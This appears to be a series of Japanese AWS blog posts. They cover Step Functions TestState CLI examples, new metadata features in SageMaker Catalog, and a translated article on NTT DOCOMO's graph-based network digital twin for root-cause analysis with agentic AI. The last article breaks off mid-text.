"status": "SUCCEEDED" } シナリオ 4: Parallel ステートをテストする 複数のブランチを同時に実行する Parallel ステートも同様にテストできます。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Parallel", "Branches": [ {"StartAt": "Branch1", "States": {"Branch1": {"Type": "Pass", "End": true}}}, {"StartAt": "Branch2", "States": {"Branch2": {"Type": "Pass", "End": true}}} ], "End": true }' \ --mock '{"result":"[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]"}' \ --inspection-level DEBUG モック結果は、ブランチごとに 1 つの要素を持つ配列である必要があります。TestState を使用することにより、モックデータ構造が実際の Parallel ステート実行で生成されるものと一致することがわかります。 レスポンスには、並列実行の結果が表示されます。 { "output": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]", "inspectionData": { "input": "{}", "afterResultSelector": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]", "afterResultPath": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]" }, "status": "SUCCEEDED" } シナリオ 5: 完全なワークフロー内で個々のステートをテストする StateName パラメータを使用して、完全なステートマシン定義内で特定のステートをテストできます。以下は、単一のステートをテストする例ですが、完全なワークフロー定義を提供し、テストするステートを指定するのが一般的です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "validate-order"}, "End": true }' \ --input '{"orderId":"12345","amount":99.99}' \ --mock '{"result":"{\"orderId\":\"12345\",\"validated\":true}"}' \ --inspection-level DEBUG このコマンドは、特定の入力データを使用して Lambda 呼び出しステートをテストするもので、TestState がその入力をどのように処理し、ステート実行を通じて変換するのかを示します。 レスポンスには、入力の処理と検証の詳細が表示されます。 { "output": "{\"orderId\":\"12345\",\"validated\":true}", "inspectionData": { "input": "{\"orderId\":\"12345\",\"amount\":99.99}", "afterInputPath": "{\"orderId\":\"12345\",\"amount\":99.99}", "afterParameters": "{\"FunctionName\":\"validate-order\"}", "result": "{\"orderId\":\"12345\",\"validated\":true}", "afterResultSelector": "{\"orderId\":\"12345\",\"validated\":true}", "afterResultPath": "{\"orderId\":\"12345\",\"validated\":true}" }, "status": "SUCCEEDED" } これらの機能強化は、使い慣れたローカル開発エクスペリエンスを Step Functions ワークフローに取り入れるため、変更を AWS アカウントにデプロイする前にそれらに関するフィードバックを即座に得ることができます。自動テストスイートを作成し、クラウド実行と同じ信頼性レベルですべての Step Functions 特徴量を検証できるため、デプロイ時にワークフローが期待どおりに動作するという自信が得られます。 知っておきたいこと 留意点は以下のとおりです。 可用性 – 強化された TestState 機能は、Step Functions がサポートされているすべての AWS リージョン でご利用いただけます。 料金 – TestState API コールは AWS Step Functions に含まれており、追加の料金はかかりません。 フレームワーク互換性 – TestState は HTTP リクエストを行うことができるすべてのテストフレームワーク (Jest、pytest、JUnit など) で動作します。デプロイ前に、継続的インテグレーションと継続的デリバリー (CI/CD) パイプラインでワークフローを自動的に検証するテストスイートを作成できます。 特徴量サポート – 強化された TestState は、Distributed Map ステート、Parallel ステート、エラー処理、JSONATA 式など、すべての Step Functions 特徴量をサポートします。 ドキュメント – さまざまな構成に対するオプションの詳細については TestState ドキュメント 、更新されたリクエストおよびレスポンスモデルについては API リファレンス を参照してください。 TestState を開発ワークフローに統合して、強化されたローカルテストを今すぐ始めましょう。 ハッピービルディング! –&nbsp; Donnie 原文は こちら です。

Amazon SageMaker Catalog は Amazon SageMaker に組み込まれました。これにより、データを収集して整理し、ユーザーが理解する必要のあるビジネスコンテキストを把握しやすくなります。 AWS Glue と Amazon Redshift によって生成されたアセットを自動的に文書化し、 Amazon Quick Sight 、 Amazon Simple Storage Service (Amazon S3) バケット、 Amazon S3 Tables と AWS Glue データカタログ (GDC) に 直接接続します 。 数回クリックするだけで、ビジネス名 (アセットとスキーマ)、説明 (アセットとスキーマ)、Read me、用語集 (アセットとスキーマ)、メタデータフォームを追加または更新することで、必要なビジネスメタデータを含むデータインベントリアセットをキュレートできます。また、 AI が生成した提案 を作成したり、 説明を確認して改良したり、充実したアセットのメタデータをカタログに直接発行 したりすることもできます。これにより、手作業による文書化作業が減り、メタデータの一貫性が向上し、組織全体でアセットをすばやく見つけることができます。 2025 年 11 月 19 日より、Amazon SageMaker Catalog メタデータの新機能を使用して、ビジネスメタデータと検索を改善できます。 列レベルのメタデータフォームと豊富な説明 – カスタムメタデータフォームを作成して、ビジネス固有の情報を個々の列に直接取り込むことができます。列にはマークダウン対応のリッチテキスト記述もサポートされており、包括的なデータの文書化やビジネスコンテキストを作成できます。 アセットの発行に用語集のメタデータルールを適用する – 用語集の用語にはメタデータ適用ルールを使用できます。つまり、データ作成者はアセットを発行する際に承認されたビジネスボキャブラリーを使用する必要があります。メタデータの実践を標準化することで、組織はコンプライアンスを強化し、監査準備を強化し、アクセスワークフローを合理化して効率と管理を強化できます。 これらの新しい SageMaker Catalog メタデータ機能により、一貫したデータ分類が可能になり、組織カタログ全体で見つけやすくなります。それぞれの機能についてより詳しく見ていきましょう。 列レベルのメタデータフォームと豊富な説明 カスタムのメタデータフォームとリッチテキストによる説明を列レベルで使用できるようになり、既存のキュレーション機能を拡張して、ビジネス名、説明、用語集の用語分類を絞り込むことができるようになりました。カスタムメタデータのフォームフィールド値とリッチテキストコンテンツはリアルタイムでインデックス化され、検索ですぐに見つけることができます。 列レベルのメタデータを編集するには、プロジェクトで使用されているカタログアセットのスキーマを選択し、各列の [View/Edit] (表示/編集) アクションを選択します。 いずれかの列をアセット所有者として選択すると、カスタムのキーと値のメタデータフォームとマークダウンの説明を定義して、詳細な列ドキュメントを提供できます。 組織のデータアナリストは、既存の列名、説明、用語集に加えて、カスタムフォームフィールド値とリッチテキストコンテンツを使用して検索できるようになりました。 アセットを発行する際に用語集のメタデータルールを適用 発行ワークフロー中に、データアセットの必須用語要件を定義できます。データ作成者は、発行前に組織の用語集で承認されたビジネス用語を使用してアセットを分類する必要があります。これにより、一貫したメタデータ標準が促進され、データを見つけやすくなります。適用ルールにより、必要な用語集が適用されていることを確認し、適切なビジネスコンテキストなしにアセットが発行されるのを防ぐことができます。 用語集の新しいメタデータルールを有効にするには、 [Govern] (管理) メニューの [Domain Management] (ドメイン管理) セクションのドメイン単位で [Add] ()追加 を選択します。 これで、ルールの要件のタイプとして、 メタデータフォーム または 用語集の関連付け を選択できます。 用語集の関連付け を選択すると、ルールごとに必要な用語集用語を 5 つまで選択できます。 必要な用語集を追加せずにアセットを発行しようとすると、用語集ルールを適用するように求めるエラーメッセージが表示されます。 メタデータを標準化し、データスキーマをビジネス言語に合わせることで、データガバナンスが強化され、検索の関連性が向上し、組織が公開データをよりよく理解し、信頼できるようになります。 AWS コマンドラインインターフェイス (AWS CLI) と AWS SDK を使用してこれらの特徴量を使用できます。詳細については、Amazon SageMaker Unified Studio ユーザーガイドの「 Amazon SageMaker Unified Studio データカタログ 」をご覧ください。 今すぐご利用いただけます 新しいメタデータ機能は、Amazon SageMaker Catalog が利用できる AWS リージョンでご利用いただけるようになりました。 ぜひお試しいただき、 AWS re:Post for Amazon SageMaker Catalog 宛てに、または通常の AWS サポートの連絡先を通じて、フィードバックをお寄せください。 – Channy 原文は こちら です。

本記事は 2025 年 8 月 18 日に公開された Beyond Correlation: Finding Root-Causes using a network digital twin graph and agentic AI を翻訳したものです。翻訳はソリューションアーキテクトの宮崎友貴が翻訳しました。 本稿では、NTT ドコモの通信ネットワークの運用の自動化・可視化部門の責任者である前島一夫氏と、同社通信ネットワークサービス監視・可視化担当の DevOps チームのマネージャー兼技術リーダーである今井識氏について取り上げます。両氏は AWS と提携し、グラフデータを活用した Network Digital Twin を実現する AWS ソリューションの MVP ( Minimum Viable Product ) 検証を行いました。 複雑なネットワーク障害が発生すると相関関係のある複数のアラームを精査する必要がありますが、これらのアラームは障害の実際の問題ではなく、大抵は症状を示しており、根本原因の特定には何時間もの調査を必要とすることがあります。根本原因分析（Root-cause analysis: RCA）システムは、多くの場合、定義されたルール、静的な閾値、事前定義されたパターンに基づいて作られており、全てのケースには対応しきれていません。ネットワークレベルの障害やサービスレベルの低下をトラブルシューティングする際に、これらの厳密な定義によるルールセットでは、連鎖的な障害や複雑な相互依存関係に適応できていない場合があります。 本稿では、グラフと Agentic AI を用いた Network Digital Twin を実現する AWS ソリューションアーキテクチャをご紹介します。また、AWS 上で Agentic AI を活用したグラフベースの RCA を実現する 4 つの Runbook デザインパターンをご紹介します。最後のセクションでは、4 つのうちの最初の Runbook デザインパターンを NTT ドコモが実際の商用ネットワークで検証された事例 をご紹介します。この検証では、トランスポートネットワークおよび無線アクセスネットワークにおける複雑な障害ケースにおいて、15 秒 の MTTD (平均検知時間) という短時間での被疑箇所特定を実現しました。 根本原因分析 ( RCA ) における課題 通信分野における RCA とは、 3rd Generation Partnership Project (3GPP) では「複数のエラーの原因となる障害を特定する体系的なプロセス」、 GSM Association (GSMA) では「単に症状に対処するのではなく、根本原因を特定して対処するための構造化された手法」と定義されています。通信分野における RCA は、数十年にわたり、主にアラーム、主要業績評価指標（KPI）、ログ、その他のテレメトリの関係性を導き出し、そこから得られた特徴量を 機械学習 （ML）およびディープラーニング（DL）パイプラインに投入することで実現されてきました。 今日の実際の現場では、障害の特定には依然として定義済みの閾値と相関ベースの経験則に基づく問題解決アプローチであるヒューリスティックが主に利用されており、多くの場合、機械学習やディープラーニングの技術が補完的に用いられています。しかし、これらのアプローチは、複数のドメインエキスパートが複雑な状況を回避しながら真の RCA に到達するのに時間を要するプロセスが発生し、根本原因の特定にかかる時間が平均して数時間程になることが多く、現代のネットワークのオペレーションには不十分です。 誤った RCA は、実際の根本原因ではない部分への対処に人員が割り当てられてしまうといった 現場のオペレータによる介入 が要因の 1 つです。 相関関係から因果関係へ NTT ドコモとの、無線アクセスネットワーク（RAN）およびトランスポートネットワークにおける RCA に関する協業、および世界中のお客様やパートナーとの協業を通じて、根本原因分析（Root Cause Analysis）の取り組みを 再考 し、単なる相関関係ではなく真の因果関係を捉えることに着目しました。私たちのアプローチは、「相関は因果関係を示唆しない」という既知の 統計原理 に基づいています。相関関係は 2 つの変数がどれだけ強く連動しているかを測定するのに対し、因果関係は一方の変数の変化がもう一方の変数の変化にどれだけ影響を与えるかを示します。 では、グラフデータ化された Network Digital Twin とは一体何でしょうか。ネットワークのリアルタイムでの鏡像、つまり現状を示すだけでなく、次に何が起こるかを予測するシミュレーションと捉えてみてください。Network Digital Twin によってネットワークの因果関係を把握することで、ネットワークの将来の振る舞いを予測してシミュレーションできるということです。これは、ネットワークの挙動を理解する Agentic AI による動作フローを通じて実行される、異常検知、グラフベースの予測、生成 AI により実現されています。その仕組みを簡単に説明します： 全てのネットワークセグメントとレイヤーに跨った複数のデータソースから、ネットワークの依存関係（ノード同士の関係性）と、発生中のアラームと、KPI（トラフィックデータなど）を取り込み、分析します。 それらをネットワークナレッジレイヤーと呼ばれるトポロジーを考慮したグラフデータ構造に変換します。 Agentic AI レイヤーで、入力されたネットワークに関するデータを、グラフ分析アルゴリズムやグラフ上のディープラーニングを組み合わせて分析し、データに基づいて 1 つまたは複数の専用の RCA Runbookを起動します。 次のセクションでは、ネットワークナレッジ、Agents / Agentic AI フロー、RCA Runbook という 3 つの中核となる要素について詳しく説明します。 ソリューションアーキテクチャ概要：ネットワークナレッジ、Agentic AI、Runbook デザインパターン RCA 向けグラフソリューションアーキテクチャとしての Network Digital Twin は、NTT ドコモの商用ネットワークである RAN およびトランスポート網において検証済みであり、また、欧州の顧客向けに変更管理やサービス影響評価などのユースケースにも導入されています。ネットワークグラフ上に Agentic AI を搭載した Runbook は、現在 AWS パートナーと共同で世界中のさまざまな顧客向けに実装されているデザインパターンであり、RAN、伝送網、5G Core、トランスポート、サービスレイヤーなど、様々なネットワーク領域を跨った RCA を対象としています。 ネットワークナレッジレイヤー ネットワークナレッジレイヤーは、ネットワーク関連のすべてのデータや情報を統合し、クエリ可能な構造化形式に変換し、分析、機械学習、深層学習、そしてエージェントレイヤーでの意思決定を可能にするためのデータ基盤です。これは専用のデータ処理パイプラインによって構築されます。マニュアル手順書とネットワーク設計に関するドキュメントは検索可能な形式に変換されて Amazon S3 Vectors に保存され、ネットワークトポロジーデータとネットワークのインターフェース情報から抽出された依存関係（ノード間の接続情報）は Amazon Neptune グラフデータベースに保存されます。パフォーマンスメトリクスは Amazon Timestream にストリームされ、インシデントチケットはアラームデータと共に Amazon DynamoDB に格納されます。アラーム、KPI、チケット管理/変更管理に関する履歴データや古い情報は Amazon S3 に保存されます。 AWS Glue と AWS Lambda 関数は、バックグラウンドで動作し、これら全てのデータを処理し格納先へ送信します。その結果、リアルタイムで更新され続けるネットワークナレッジが得られ、エージェントの根本原因分析用のデータ基盤となります。次の図は、ネットワークナレッジレイヤーがこれらの AWS サービスを統合して、RCA オペレーションのための統合データ基盤を構成するアーキテクチャを示しています。 図 1. ネットワークナレッジレイヤー HLD アーキテクチャ概要と RCA Agentic AI レイヤー 前述のとおり、ネットワークナレッジは、Amazon Neptune が動的に変化するネットワークトポロジーを保持する基盤であり、アラーム、KPI、インシデント履歴、テレメトリストリームから得られるリアルタイムデータにより強化されています。本セクションで説明する RCA ワークフローは、アラームの発生パターン、KPI の異常検知や予測値との乖離の検知、ノードの重要度または障害伝播の可能性を表すグラフデータのスコアリングなどの様々なトリガー条件に基づいて起動されます（詳細は後述の各 Runbook で説明します）。これらの起動条件が満たされると、1 つ以上の RCA Runbook が実行され、診断および切り分け処理が実行されます。 ソリューションの中核を担うのは、 Strands Agents で構成される Agentic AI レイヤーであり、Strands Agents のライフサイクル管理は Amazon Bedrock AgentCore によって行われます。各エージェントは、異常相関、予測値からの乖離の検出、依存関係を表すトポロジーグラフの構築、インシデントチケット管理などの各タスクを実行します。これらのエージェントは、RCA オペレーターが受信したデータに基づいて行った推論に応じて、 Swarm ワークフローまたは DAG でトリガーされます。次の表は、必要なコアとなるエージェントを示しています。 エージェント エージェントの行うタスクの定義 RCA operator 各トリガー (アラームの大量発生、異常検知、予測と実績値の乖離の検知など) を検出し、対応する Runbook 1 ～ 4 を選択し、起動するエージェントを指定します。各ステップごとの処理を策定し、各エージェントに実行時の引数 (隣接ノードのホップ数、時間幅、閾値など) を渡し、実行結果を共有ダッシュボードに記録します。その後、新しい障害データやオペレーターからのフィードバックを得られる度に処理内容を更新します。 Known-incident matcher ナレッジベースから一致するインシデントを分析し、IKB （インシデントナレッジベース）で発生アラームや異常値、予測傾向、パターンを検索し、ベクトル類似性を算出し、信頼度の閾値による評価をして、一致したインシデントのケース ID や信頼度を返します。 Dependency graph builder アラーム発生ノードのサブグラフを抽出します。具体的には、Amazon Neptune に対して、Gremlin または SPARQL を使用して node_ID 周辺の接続関係を表すグラフデータをクエリし、最大 N ホップ先のノードまで拡張して取得します。結果となるサブグラフがグラフ追跡アルゴリズムの実行に十分になるまで反復処理を行います。 Root-cause finder Neptune Analytics の組み込みのグラフ分析アルゴリズムを呼び出すロジックを策定し、ネットワークノードに分析結果として出力されるスコアを付けます。具体的には、入力された特定のサブグラフ ID に対して、グラフのサイズや密度に基づいて Neptune Analytics の分解アルゴリズムやクラスタリングアルゴリズムやランク付けアルゴリズムを選択し、あるいは組み合わせて実行し、上位 K（デフォルトは10）の &lt;node_ID, score (分析結果となるスコア)&gt; を返します。 Anomaly correlator node_ID とルックバックウィンドウ (例：15 分) の KPI を使用して&nbsp; Amazon SageMaker &nbsp;異常検知エンドポイントを呼び出し、返り値である anomaly_score (異常値) が閾値より大きいサンプルにフラグを付け、それらを発生中のアラームとマージするといった、統計的戦略を実行します。 Forecast-drift monitor 各 KPI について、期間 H における ST-GNN* 予測エンドポイントを照会し、残差 r = |実際値 – 予測値| を計算します。次に、残差 r &gt; σ × band_factor の場合に偏差としてフラグを立てます。ここでの σ は、KPI とタイムスタンプの予測の標準偏差です。ここでの band_factor は、ユーザー定義の乗数です（例：95 % バンドの場合は、1.96）。最後に、フラグが立てられた偏差を同時発生しているアラーム群とマージします。 Recent-events collector それぞれの被疑ノードについて、最後の T 分間のアラームまたは KPI を取得し、目標イベント密度が達成されるか T_max （時間）に達するまで T を拡大または縮小し、時系列のイベントリストを出力します。 MoP analyzer 装置の種類、ベンダー、またはソフトウェアバージョンを検出し、障害情報からベクトル検索を行い、最も関連性の高い切り分けのためのコマンドやその説明を出力します。 Incident-report builder 被疑としてランク付けされたノード、タイムライン、MoP の抜粋を組み合わせ、構造化されたインシデントログを作成し、影響度の経験則からチケットまたはRCAレポートを作成します。チケット発行の場合は、チケット作成 API を呼び出して作成し、作成されたチケット ID を記録し、#noc-urgent でタグ付けしてアラートを通知します。 Ticket manager インシデントチケットのステータスフラグが「ticket」の場合、チケットが作成または更新され、チャネル名に通知が投稿され、現在のチケットと過去のチケットに関するチャットが提供され、そのリンクが共有ダッシュボードに保存されます。 Operator feedback recorder ネットワークオペレーションセンター (NOC) からの Agentic AI が作成したレポートに対するフィードバックを記録し、チケット ID、決定事項、およびオペレータのメモを IKB に書き足します。これによって AI エージェントの継続的な学習が可能になります。 Guardrails policy advisor 個人を特定できる情報 (PII) は含まないこと、承認されたファームウェアであること、変更オペレーションを実行可能な時間帯でのコマンドであること、などのガードレールを適用し、SLA (影響ユーザー数が 50 人を超える場合、または、平均復旧時間 (MTTR) が 30 分以下の場合は、10 分でエスカレーションを行う、など) をチェックし、それらのガードレールに違反する Procedure-Finder アクションをブロックし手順として参照されることを回避します。違反があった場合は、インシデントを非準拠としてマークし、チケットを P1-URGENT にアップグレードして、NOC チームに警告します。 OpsMemory エージェントの共有レポジトリには、各エージェントからの中間出力 (生データへのリンク、サブグラフの JSON データ、ランク付けされたノード、異常フラグ、MoP スニペット、チケット ID など) が保持、記憶されるため、各エージェントはそれらを共通的に読み取ることができます。エントリのバージョン管理や、インシデントのクローズ時にそれらのデータをクリアすることも可能です。 Other agents 通信事業者やパートナーによっては、ネットワークセグメントごとのエージェントフローを強化するために、RAN (無線アクセス ネットワーク) エキスパートエージェントや IMS セッションエージェントなど、その他の専用エージェントを追加することもあります。 *ST-GNN ( Spatial-Temporal GNN ): 空間的（Spatial）および時間的（Temporal）な依存関係を同時にモデル化するために設計されたグラフニューラルネットワーク（GNN）の一種 次の図は、4 つの Runbook にわたる RCA 用 Agentic AI の HLD アーキテクチャを示しています。 図 2. ソリューション概要 Runbook 1 ベースライン : グラフ分析と Agentic AI アラームは、インシデント発生時またはスケジュールに基づいて、ライブストリームとして取り込まれます。アラームが発生すると、根本原因分析用に構築された専用の AWS Lambda 関数がトリガーされます。この関数は、受信したアラームデータから影響を受けるノード ID を抽出します。次に、 Amazon Neptune から関連するネットワークのサブグラフを取得します。これらのサブグラフには、ネットワークノード間のすべての依存関係が含まれます。 Amazon Neptune Analytics の組み込みのグラフ分析アルゴリズムを使って、サブグラフ構造を分解し、関連するノードをグループ化します。グラフ構造に対する RCA 用に、これらの Neptune Analytics アルゴリズムの具体的かつ実行可能なステップを定義しました。例えば、このステップには、1) WCC (弱連結コンポーネント) または SCC (強連結コンポーネント) によるグラフの分解、2) ラベル伝播によるグラフのクラスタリング、3) 中心性アルゴリズムによるネットワークノードのランク付けが含まれます。このアプローチについては、コードサンプルを含む続編のブログで詳細を説明します。これらのアルゴリズムは、アラームノードを含むネットワークサブグラフ内の構造的な重要度に基づいて、各ノードをランク付けします。 このランク付けに従い、エージェントは各候補となるノードの直近発生したアラームシーケンスを分析します。分析においては、過去数分（ 2 ～ 5 分など）から開始し、アラームが少ない場合時間幅を拡大していきます。関連する手順書（MoP）を参照し、アラームの詳細と、障害が発生している各ノードに適した、障害の切り分けのためのコマンドを抽出します。 エージェントはこれらの要素を使用して、障害ノード、アラームパターン、隣接ノード、インシデントの説明、推奨アクションを含むレコードを作成します。 インシデントチケットを作成または更新し、レコード、完全なアラームタイムライン、および抽出した MoP の抜粋をチケットに記載します。チケットが開かれていない場合、エントリはRCAレポートとして表示され、NOCチームがレビューします。 NOC チームは出力されたレポートを検証または拒否することができ、そのフィードバックはエージェントの記憶メモリを通じて取得され、インシデントデータベースに記録されます。 この Runbookでは、アラームが基本的なトリガーとなり、決定論的なアプローチであるグラフ分析によって障害領域が特定され、Agentic AI によって元のスコアが継続的なフィードバックループによって実用的なインシデントレコードに更新されていきます。次の図は、ソリューションのアーキテクチャ図を示しています。 図 3. Runbook 1: グラフ分析と Agentic AI による RCA Runbook 2: エージェントによる既知のアラームパターンマッチ アラームは、Runbook_1 と同様に、継続的実行、オンデマンド実行、または定期実行によって受信します。個々のアラームは RCA 用の Lambda 関数を直接呼び出すことはありません。代わりに、受信ストリーム内のスパイクや異常なパターンを検出するようなアラーム機能に基づくトリガー方式を使用します。これには、アラーム数の監視、ベースラインからの Z スコアの偏差、アラーム重要度のクラスタリング、連鎖的な障害ケース（基地局に障害が発生し、影響を受けるすべての装置でアラームが発行される場合など）が含まれます。このトリガーが発動すると、RCA 固有の Lambda 関数が呼び出され、Agentic AI ワークフローが起動されます。その後、以下の手順が実行されます。 最初のステップは、インシデントナレッジベースです。受信アラームのパターンまたはシーケンスが過去のインシデントと高確率で一致する場合、エージェントはチケットを更新またはオープンし、定義済みの対処方法を適用してフローを終了します。 一致するものがない場合、エージェントは グラフ駆動型の追加分析 を実行します。 アラームが発生しているノード ID を抽出し、その依存関係にある隣接ノード（最大 N ホップ先）まで展開し、Runbook_1 で行われたのと同様に、障害発生中のサブグラフを抽出します。 より詳細な分析のために、Neptune Analytics を使用して、分解、クラスタリング、ランク付けアルゴリズムを実行し、出力されたスコアを収集し、上位 10 のノードを抽出します。 エージェントは各ノードについて、直近のアラーム履歴（通常、2 分または 5 分などの時間範囲ですが、データのスパース性により長い期間にするべき場合があります）を取得し、関連する MoP （手順書）を参照し、障害ノード、アラームのパターン、隣接ノード、インシデントの説明、推奨アクションで構成される構造化レコードを作成します。 レコード、過去の類似ケースへのリンク、抽出した MoP スニペットを記載して、新しいチケットを作成します。もしくは既存のチケットに追記して更新します。 エージェントは、NOC からのフィードバックを記憶メモリから取得し、インシデントナレッジベースに記録します。 次の図は、Runbook_2 ソリューション アーキテクチャの例です。 図 4. Runbook 2: エージェントによる既知のアラームパターンマッチ Runbook 3 複数のシグナルを融合した異常検知 RCA（弱いシグナルの検出） アラームは依然として主要なシグナルですが、リアルタイムな KPI ベースの異常検知スコアによってネットワークの異常をより検知できるようになります。本 Runbook では、Agentic AI ワークフローはアラーム発生ノードと異常を示すノードの組み合わせによってトリガーされます。Runbook 2 と同様に、アラーム数の急増、アラームの重要度のクラスタリング（分類）、Z スコア偏差といったアラーム分析機能に加え、KPI 異常検知スコアも含まれています。この組み合わせアプローチにより、NOC はアラームで検知する前のような目立たない兆候 (弱いシグナル) であっても異常として検知することができます。ワークフローは次のステップを実行します。 エージェントは Runbook 2 と同様にインシデントナレッジベースにクエリを実行します。アラームシーケンスが既知のパターンと一致する場合、チケットを更新してフローを終了します。 一致しない場合、エージェントは次の処理を続行します。 アラームの特徴（アラーム数の急増、アラームの重要度のクラスタリング、Z スコアの偏差）と ネットワークの KPI に基づく異常検知スコアを取得し組み合わせます。 複数ホップ先の依存関係のある隣接ノードに展開し、障害が伝播されたサブグラフを抽出します。 Neptune Analytics を使って、分解、クラスタリング、ランク付けアルゴリズムなど、適切なアルゴリズムを選択もしくは複数のアルゴリズム組み合わせて実行します。 全てのノードにランク付けを行い、スコアの高いノードを被疑箇所として以降のステップに渡します。 被疑箇所として抽出されたノードごとに、エージェントはアラームと KPI 異常検知スコアの両方を、短いウィンドウ（2分または5分など）から開始し、必要に応じて延長しながら時系列で取得します。関連する MoP を参照し、障害ノード、アラームパターン、異常検知スコア、隣接ノード、インシデントの説明、推奨アクションを含むレコードをインシデントナレッジベースに記録します。 エージェントは、NOC チームがレビューするための RCA レポートを生成します。 NOC チームは、生成された RCA レポートの結果を承認または拒否することができ、それらのフィードバックはエージェントの記憶メモリに記録されます。 次の図は、Runbook 3 のソリューションアーキテクチャの例です。 図 5. Runbook 3: 複数のシグナルを融合した異常検知 RCA（弱いシグナルの検出） Runbook 4 予測からの乖離を検出する RCA (プロアクティブな検知) アラームは基本的なシグナルとして機能しますが、ローリング型 Attention-based Spatio-Temporal Graph Neural Network（AST-GNN）から KPI 予測値からの逸脱を示すフラグが提供されます。このモデルは、ネットワーク装置ごとにトポロジと時間パターンを統合的に学習し、各 KPI の信頼区間を含む予測を生成します。実際の KPI が予測区間から外れた場合、絶対値が正常であってもシステムは偏差フラグを立てます。適切な特徴量エンジニアリングを適用したり、他のディープラーニングモデルを予測モデルとして用いることも可能です。Agentic AI ワークフローは、アラームの特徴とKPI 予測値からの逸脱を示すフラグの付いたノードの組み合わせによってトリガーされます。アラームの特徴とは、Runbook 1~3 と同様、アラーム数の急増、アラームの重要度のクラスタリング、Z スコア偏差といったアラームの分析結果であり、これらに加えて、KPI 予測値からの逸脱を示すフラグがトリガーとして含まれます。この予測アプローチにより、NOC は潜在的な問題が顕在化する前に異常を検知することができます。ワークフローは次のステップで実行します。 エージェントは、以前の Runbook と同様に、インシデントナレッジベースを検索します。既存のインシデントと高い確率で一致するものが見つかった場合、チケットを更新し、フローを終了します。 一致するものがない場合、エージェントは以下の分析を実行します。 アラームの特徴（アラーム数の急増、アラーム重要度のクラスタリング、Z スコアの偏差）を、KPI 予測値から逸脱したノードと組み合わせます。 複数ホップ先の依存関係のある隣接ノードまで拡張し、障害が伝播されたサブグラフを抽出します。 Neptune Analytics を使用して、分解、クラスタリング、ランク付けアルゴリズムを実行します。 全てのノードに対して被疑箇所としてランク付けを行い、スコアの上位 10 ノードを抽出します。 抽出されたノードごとに、エージェントは、直近発生したアラームと KPI 残差曲線を取得します。これらの曲線は、短い期間（ 2 分や 5 分など）で取得し始め、データがまばらで不足している場合は取得期間を長くします。関連する MoP を参照し、障害ノード、アラームパターン、予測の偏差、隣接ノード、インシデントの説明、推奨アクションを含むレコードを作成します。 エージェントは、レコードを記載したインシデントチケットを作成または更新し、RCA レポートを NOC に送付し、レビューを受けます。 NOC チームは、RCA レポートから Root Cause なのか、誤検知なのか、または新しいアラーム群なのかを確認します。NOC から得られたフィードバックは、エージェントの記憶メモリに記録されるだけではなく、 IKB （インシデントナレッジベース）にも記録されるため、将来の再発時により迅速な対処を行うことができるようになります。次の図は、Runbook_4のソリューションアーキテクチャの例を示しています。 図 6. Runbook 4: 予測からの乖離を検出する RCA (プロアクティブな検知) NTT ドコモのグラフデータを活用した Network Digital Twin 株式会社 NTT ドコモは、日本全国で 8,900 万人以上の加入者にサービスを提供する通信ネットワークを運用しています。このネットワークは、決済や物流データ、その他時間的制約が厳しいデータを運ぶ、国の重要なインフラの一部となっており、障害発生時には迅速な解決が求められます。しかし、デバイスとプロトコルの増加により、障害の特定はより複雑化し、時間がかかる場合があります。 NTT ドコモの運用チームは、障害を検知し、障害箇所を特定し、1時間以内にサービスを復旧させる必要があります。この時間を逃すと、NTT ドコモは顧客の信頼を失うことになります。 NTT ドコモは、トランスポートネットワークと 4G / 5G RAN を対象とし、RCA プロセスの変革を開始しました。AWS に取り込まれるデータには、5 分ごとのネットワークのパフォーマンスデータと、トランスポートネットワークから無線基地局までのパス全体をカバーするイベントベースのアラームが含まれています。 より具体的には、トランスポートネットワークのエッジルーターでは、受信トラフィックと送信トラフィックのバイト数とパケット数が、合計値、ユニキャスト、マルチキャスト、ブロードキャストパケットごとに、累積値と定期値の両方が記録され、加えて重要度の高いアラーム数も記録されます。中間パスとなる集約ルーターは、パケットレベルの統計データの合計値、平均値、破棄数、エラー数に加え、自身の重要度の高いアラーム数も記録します。evolved Node B（ eNB、4G / LTE 基地局）や next-generation Node B（ gNB、5G 基地局）では、収集されるデータは無線関連のメトリクスになります。これらの指標には、イーサネットの受信・送信レートと破棄率、無線リソース制御（ RRC ）接続要求数、完了数、再試行数、および重要度の高いアラーム数が含まれます。 NTT ドコモ の RCA のために設計した Amazon Neptune におけるグラフデータモデリングの抜粋： 図 7. NTT ドコモのグラフデータモデリングの抜粋 NTT ドコモのグラフデータを使った Network Digital Twin は、NOC チームに以下の恩恵をもたらすをもたらします。 データパイプラインとして維持されているグラフ化されたネットワークトポロジーの探索と検索 KPI とアラームによって、動的なネットワークの状態をリアルタイムに可視化（時間変化するナレッジグラフ） グラフ分析に基づく被疑ノードの抽出 NTT ドコモの MVP は、Runbook 1 に準拠しています。このMVPは、現在、Agentic AI が静的エージェントの枠を超え、異常検知機能を組み込むように拡張されており、Runbook 3 を目指しています。 以下のスクリーンショットは、NTT ドコモによるグラフデータを使った Network Digital Twin のダッシュボード ( WebUI ) を示しています。 図 8. NTT DOCOMO によるグラフデータを使った Network Digital Twin ダッシュボード パフォーマンスデータ (PM: Performance Management) とアラームデータ (FM: Fault Management) は、トランスポートネットワークと RAN から 5 分ごとに AWS に収集され、Amazon S3 バケットに格納されます。 AWS Lambda が Amazon Glue ジョブをトリガーします。 Amazon Glue ジョブは生データを解析し、Amazon Neptune にデータをロードするために必要なフォーマットに変換します。変換されたファイルは S3 バケットに格納されます。 別の AWS Lambda が Neptune バルクローダー API を呼び出し、新しいグラフデータを自動的にインポートします。手動による介入は必要ありません。 NTTドコモは、本 RCA のトリガーとしてオンデマンド実行から始めました。具体的には、重要度の高いアラームの数が異常な数に達したことをトリガーとして、RCA パイプラインが起動し、それらのアラームを Digital Twin （グラフ DB）にロードし、グラフ分析アルゴリズムを実行します。Lambda 関数は、アラーム発生ノードのサブグラフを構築し、グラフ分析を実行して、RCA スコア結果とサブグラフの両方を Amazon S3 に保存します。その後、オペレーターは Tom Sawyer Perspectives で障害のあるデバイスを視覚的に確認することができます。被疑ノードは、ネットワークトポロジーを表示した可視化画面上で赤く強調表示されます。 次の図は、NTT ドコモの MVP ターゲットアーキテクチャを示しています。 図 